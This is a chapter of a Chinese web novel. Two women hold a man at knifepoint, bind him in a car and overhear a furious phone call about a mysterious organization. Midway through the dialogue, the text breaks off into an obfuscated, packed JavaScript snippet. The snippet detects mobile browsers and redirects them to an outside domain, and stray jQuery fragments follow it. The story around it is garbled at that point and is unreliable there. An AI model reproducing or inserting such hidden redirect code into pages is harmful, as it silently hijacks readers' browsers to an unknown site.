40. 第 40 章

作品:《不要直视祂的眼睛

    风岐从来没有见过霍宁这么紧张。


    霍宁大多数时候都是懒洋洋的,有正事了打起精神忙一阵,没多久就继续瘫着。即便是在怒江大半夜发大水被客栈老板喊起来往上转移那次,霍宁也不过收拾行李的时候快了点儿,带她跟着人群时还悄悄跟她说:“没事儿,估计就是山要收人,一会儿上去就行了。”


    她那时候看着汹涌拍岸的江水心惊胆战,水位上涨得太快,又是大暴雨,她都怕一个大浪给她卷走。


    把她塞进车里,霍宁越过她的身体去副驾驶座上取了柄匕首塞进她手里,她还有些发蒙,霍宁吼她一声:“拿着!赶紧走!”


    关上车门,霍宁上半身重新挤进车窗内要替风岐发动车,语速飞快地又丢了一句话。


    风岐脑子发蒙,只听出来大概是要她去找秦思勉。


    为什么要找秦思勉?秦思勉在哪儿?


    她明白霍宁的意思,和宋玄羲有关系是肯定的,是要她远离应柏。霍宁对应柏的态度和印象都很好,怎么因为一个宋玄羲,就能彻底改变了?


    现在已经问不出来了,因为时间来不及了,应柏从急诊室门口冲到近前,话还没出口,风岐从来没见过霍宁有这样快的动作。


    面前寒芒一闪,霍宁直接抽走了她拿不稳的匕首抵在应柏胸前:“别过来!”


    风岐吓得浑身直抖,抬眼间,那柄匕首已经陷进应柏胸口约莫一公分,应柏的手也因条件反射握上霍宁手腕,霍宁痛哼一声,但半分未让。


    “走!去找秦...”


    应柏松开手,后撤半步,双手举过头顶。


    霍宁的匕首握得很稳,她伸直手臂,应柏偏身想去看风岐,被霍宁用身体挡住视线。


    “我走不了!”


    “你要是出事了我活得成吗?”


    风岐狠狠掐了自己一把,她恨自己在这个时候还在流泪。


    她不明白霍宁为什么要她去找秦思勉,但她非常清楚,如果应柏要发难,她走了,霍宁就真的没有了。


    到底是有多严重啊,这是个谁啊?怎么什么话都没说清,一个名字就能吓成这样了啊?


    应柏沉声问:“发生什么事了?”


    霍宁没有答他,静默了三秒,向前迈步,应柏随她的步伐继续后撤,风岐下了车。


    霍宁大骨架子,身高176,比风岐高了8公分。


    风岐本身骨架也不小,但现在被霍宁完完全全挡在身后,她飞快将口袋里的战术笔旋去笔帽握在手里。


    这里不是说话的地方,她思索着,应柏已经开了腔,“霍宁,有话我们说开。是因为刚才...”


    “你到底是什么人?”霍宁厉声道。


    应柏心头一惊,刚才那位老人家说他是神,可是霍宁那时候还在和调侃风岐。


    霍宁今天看他的眼神带了些许探究,但总体来说依旧很友善。


    他只能说:“我不知道。”他不知道自己是谁,他只知道她是谁。


    他有期待的那个位置,可那只是希冀、是幻想。他也有猜测,或许“属下”不是猜测,是事实,可凭直觉是没法作数的。


    “回去吧,”风岐在霍宁身后叹息,“咱俩打不过他,他真要怎么着,我们有什么办法。”她的手摸索着应柏的外套,将那根甩棍取出来向霍宁递,霍宁推了回来。


    霍宁依旧紧紧盯着应柏:“把你身上的东西都交出来。”


    应柏不知道霍宁指的是什么,他身上最重要的东西都在风岐手里他的外套里。


    风岐想着就要去搜身,霍宁比她清醒:“别过去!”


    “你自己掏。”


    霍宁现在心里万分懊悔,如果只是一个宋玄羲,她还可以当做是巧合。但是应柏和周辽都和宋玄羲认识,风岐躲过了周辽,但是没能躲过应柏。


    周辽的信息可以伪造,什么东西都可以伪造,但是风岐的感觉做不了假。


    她一直在逃避,她知道这儿是哪儿,只是风岐没有叛徒应该有的反应。


    或许和她的青女身份有关,风岐难以解决,所以宋玄羲要动用这样两个人。


    看着应柏从裤子口袋里掏出瑞士军刀、一小沓钱、一串钥匙扔在地上,她有些想笑,这些东西交出来有什么用?她不让风岐过去,是怕应柏拿她做威胁。


    她对他说:“捡起来,还有你的手机,都给我。”她拿自己做实验,应柏可以把她先拉开,之后掳走风岐。


    意料之中的,又或是应柏的确如同风岐说的一样心机深重,他依言捡起地上的东西,连同手机一起交到她的手里。


    车上没有可以绑人的东西,风岐把自己的腰带抽开递到霍宁手上。


    在应柏意料之外的,风岐把腰带重新收了回去,她一直没有说话,随着动作她自霍宁背后现出,她一面盯着他,右臂自车内取出一瓶水,浸湿腰带才重新交给霍宁。


    风岐一直死死咬着牙,她怕自己一开口又要冒出什么“写武侠小说还是有用的吧?”或是“咋绑啊我也没有经验啊。”


    她现在要表现得临危不乱,霍宁是担忧她才乱了阵脚,所以她一定不能让应柏看出来她毫无经验。


    霍宁比她老道,应柏算得上顺从,自己背过身,双臂向后,任由霍宁将他的两只手牢牢绑在一处。


    在过去,遇上这种事,应柏会不动声色地试一下松紧,心算挣开的时间,但现在他一动不动。


    心重新开始下沉,霍宁的反应太过反常,也在这个时间,宋玄羲的电话又进来了。


    他终于明白了问题所在。难道真的和他猜想得不同?或者是...


    他不能完全确认宋玄羲背后的那个庞大组织究竟是什么,但如果真的是那样,一个庞大的组织,其中各自为政也不是没有可能。


    霍宁一定是和风岐在一路的,那么宋玄羲就是敌人。


    把应柏塞进车里,霍宁一言不发地锁了门正要将风岐拉走,风岐反手握住她:“别让他一个人待着,谁知道他在车里能又能做出什么来?”


    车窗没完全锁上,应柏听得一清二楚,闻言低下头。


    霍宁则对着还在进的宋玄羲的电话皱眉,风岐低头在自己手机上打了一行字给霍宁看:【这人到底是谁?不然还是让他接,我看他的反应。】


    之后她又飞快跟了一句:【咱们别在这儿,找条没人的路,真有意外了咱俩跑。】


    风岐心里想的不是这个,如果是误会,这里有摄像头,还有人,今晚的动静万一大了,再把警察招来。


    但如果不是误会,她可保不齐自己能对应柏做出什么来。最糟糕的情况,捅应柏两刀,她俩先跑。


    霍宁摇了摇头,拿她的手机打字:【这里人多,我们好求救。】


    风岐不敢再耽误时间,沾湿绳子是挣脱不开,但应柏力气太大,现在多浪费一秒钟就多给他创造了一个机会。


    霍宁径直坐回车里,风岐赶紧回到副驾驶,就听霍宁问应柏,“你和宋玄羲是什么关系?”


    “我和她的关系很复杂。”


    霍宁拍了把方向盘,低声吼道:“别跟我兜圈子!”


    应柏清了清嗓子,霍宁的手已经转身,拇指看着就要按下通话键,他骤然扬声:“等等!”


    “我有事求她,但是我很厌恶她,我现在不知道该对她用什么态度。”


    风岐和霍宁对视一眼,两人都有些疑惑,但也同时回神,应柏这人过于狡猾,总拿真诚当武器。


    “风岐。”


    “别跟风岐说话!”霍宁又吼了一声,风岐也吓了一跳,应柏忙收声。


    “是她要你来找风岐的对吗?”霍宁直直盯着应柏,应柏面上一片愕然:“不是。”


    霍宁气笑了,“那是谁?”


    “我自己,就是我自己。”


    “你真不知道这是哪儿?”


    应柏心头一阵又一阵的慌乱,“我不知道,能不能告诉我...”


    霍宁将匕首向风岐递,风岐接过,但她心中暗叹一声还是塞了回去。她能用战术笔就不错了,真正开刃的东西给她也派不上用场。


    沉寂的车厢内响起风岐将甩棍甩开的一声响。


    应柏紧声道:“我可以和你们解释我和她的关系,或者我现在和她通话。”


    霍宁问出了最后两个问题:“宋玄羲是谁?”


    “她…是山鬼里地位很高的人,对吗?”


    霍宁看向风岐:“真不认识?”


    风岐一愣,至少光这个名字和微信头像,她是真的不认识。霍宁看得出她的眼神,风岐叹息道:“接吧。”


    接了才知道结果。


    霍宁握住她的小臂向车外一示意,风岐抑制住了摇头的冲动,她知道霍宁的意思还是要她见状不对就跑。


    为了霍宁安心,她认真点了点头。


    “你原来怎么和她说话就怎么说话。”


    “我...给我几秒钟。”


    霍宁没有给应柏这个机会,宋玄羲也没有,又是一通电话进来。


    霍宁反向将话筒递到应柏嘴边的手在宋玄羲出声的那个瞬间就是一抖,险些没能拿稳。


    车窗闭合的车厢里回荡着宋玄羲的怒声,吵得风岐脑袋嗡嗡作响。


    宋玄羲劈口就是骂了一长串:“姓肖的你死了啊几个小时不接我电话?你怎么敢掐我电话的?你掐我多少个电话了?你干嘛呢我都要被周辽烦死了催命鬼一样追我屁股后边儿问。


    “你知道我给多少人算过命吗一个个都记得啊?赶紧的我真是服气了这都几点了你抢银行去了啊?”


    两人同时在对方眼中看到了震惊,应柏微微垂眼,在宋玄羲换气的瞬间,他嘴角微微勾起,即便只有侧脸,风岐都能看出他的嘲弄。


    “我跟你们一样天天闲得五脊六兽的啊?说话啊!哑巴了还是聋了?哎你不会真死了吧?”


    应柏一直没作声,风岐心头一惊,这怕不是在拖延时间给对方报信,她正要提醒霍宁,手上却是一紧,是霍宁按住了她。


    宋玄羲连着笑了一串,之后什么要去给应柏奔丧送礼炮都出来了,风岐耳朵都有些发麻。


    问题是,这声音好像有点儿耳熟...


    宋玄羲直骂了有四五分钟,也是霍宁按住了,她才能忍住没伸手挂断这通电话。


    但应柏似乎越发自在,身体也不由自主动了一下。


    “赶紧赶紧,说话呢!真死了啊?死哪儿了报个地方我去给你收尸啊?”


    风岐快听不下去了,应柏浓眉一挑,漫不经心地开了腔:“托你的福,暂时...”


    宋玄羲本就尖利的声音又高了八度:“你耍我呢!都几点了!一个你一个周辽,大半夜的耍


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16507503|186142||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我玩儿呢?”


    风岐心头直打鼓,宋玄羲对应柏的态度...有点儿像她的队友啊。


    “说话呢!快点儿啊!别装死!你故意整我呢?”


    应柏轻声笑了,风岐听得牙酸,他慢条斯理地问:“有事吗?”


    霍宁原本的防备正在渐渐放开,风岐愈发疑惑:宋玄羲一个名字就把霍宁吓得半死,现在骂了应柏几分钟,霍宁反而好了。


    她继续盯着应柏的神情变化。


    昨天那一架可以算他吃醋,现在对她根本不认识的女人他都这个反应,他现在也算是彻底暴露了。


    先前的那些词语只能描述个大概,她的确不能完全想象出他原本该有的模样,只怕跟现在差得不远。她现在对宋玄羲生出些感激来,谢谢她让她提前看到了自己的未来。


    应柏重归沉默,宋玄羲又骂了一串,连带着问出了她在聊天记录里看到的那个问题:“我不是在求你,赶紧的别磨叽,下次你跪着磕头求我的时候我也放你一马,快点儿快点儿!还在给我发消息!他中邪了吗!啊?”


    应柏笑了出来:“你继续吵。”


    宋玄羲安静了,隔了半分钟,烦躁不安地问他:“想起来了吗?”


    应柏哼笑一声,对面又安静了,风岐迎上应柏求助的眼,霍宁挡住他的视线,手机里打了一行字:【该怎么说怎么说。】


    在宋玄羲第五次问出来的时候,应柏的回答依旧是:“没有。”


    又过了五分钟,宋玄羲问:“想起来了吗想起来了吗想起来了吗?”


    应柏只哼笑一声没吭声,风岐实在忍不住,扶住了额头。


    他到底要干嘛啊?非要这么磨叽啊?


    对啊,先前她说给周辽算命。


    山鬼...现在靠算命为生啊?


    宋玄羲被应柏逼得直跳脚:“肖隐你差不多得了,别给脸不要脸!老娘今天对你够客气了!周辽鬼打墙,我问他我说了啥,他不说,现在你也不说,你俩合起伙儿来耍我呢!当初看见是你我就不该去的!你当我想找你啊跟你多说一句我都嫌晦气,有完没完能不能给句痛快话?”


    她啐了一口:“见你一面倒霉三年,跟你待几天我倒霉到现在。赶紧赶紧的,和你挂了电话我还得去晦气!快点儿!”


    “肖隐!说话!你肯定记得!”


    应柏不自觉地一抬眉,厌恶与不屑夹杂着恶劣的笑意愈发掩藏不住,却又在对上风岐的眼时匆忙收敛。


    “周辽他...为什么要问你?”


    宋玄羲一见有门儿,稍松了口气,“我哪儿知道啊?疯了吧?就非要问非要问。”


    应柏又抬眼看了下风岐,这下倒是乖觉。风岐狠狠瞪他一眼,一直在浪费时间。霍宁听得很认真,也在同时和她对了个眼神,眨了两下眼。


    应柏冷笑一声:“礼尚往来,我是记得不错...”


    宋玄羲听到这儿,又叫道:“周辽是你派来的吧!我就知道!你多照顾他啊,他对你多感激啊,”她恍然大悟,“你就拿他先整我然后...”


    应柏打断了她:“还要知道吗?”


    宋玄羲安静了,也就安静了几秒钟,压着怒火:“赶紧。”


    应柏依旧不慌不忙,风岐都想跟他动手了,他还在和宋玄羲兜圈子:“我可以回答你,但是...”他拉了长音,风岐一动,被霍宁抓着手拉住了,霍宁已经收回了匕首,应柏维持着语速:“你也得回答我一个问题。”


    “行行行,答应你,要什么都答应你。”听到这句话,霍宁一愣,正要对应柏摆手。


    应柏先开了腔:“我不信你,拿什么发誓?”


    风岐对他们这种奇怪的默契惊讶得不知道到底该作何反应,耳边又是宋玄羲的叫声:“姓肖的!我当初说你真是没说错,你现在装不下去了是吗!蹬鼻子上脸的东西!”


    风岐看了霍宁一眼,竟然有人比她更早看出应柏的真面目。她的心思已经转到了该怎么拉拢宋玄羲身上了,她的前途开始变得光明,救星一个接一个地出现。


    应柏笑得愈发畅快,笑完才说:“你说得对,我承认,我现在是不想装了。不过我今晚...”他跟真在翻自己的日程表似的,“还有安排,可以先告诉你。”


    “等价交换,怎么样?一会儿你也回答我一个问题。”


    宋玄羲真是被他给气累了:“好好好,说说说。”


    “你跟周辽说的是,人你已经遇到了,能不能把握住,就看你自己了。”


    宋玄羲愣了,回忆半天,还要应柏提示那时的情形,应柏冷笑:“周辽不肯说你忘了吗?”


    “我怎么知道是谁?”


    他说这话时垂下了眼,没有再看风岐。


    宋玄羲好半天才恍然大悟:“哦哦哦我想起来了,就那个给他把钱包拦下来的...”


    风岐愈听愈要骂人,连着宋玄羲和应柏一块儿骂。


    霍宁直接上手捂嘴了。


    合着周辽命里没姻缘,宋玄羲也算做好人好事了,虽然这好人好事是拿风岐做代价的。


    宋玄羲说得理直气壮:“没有就没有呗,万一成了呢,他那天晚上说得一往情深的,你不也听到了,给他点儿信心不行啊?”


    “现在该你...”应柏刚起了个头,对面飞快挂了电话。


    一个字都没留。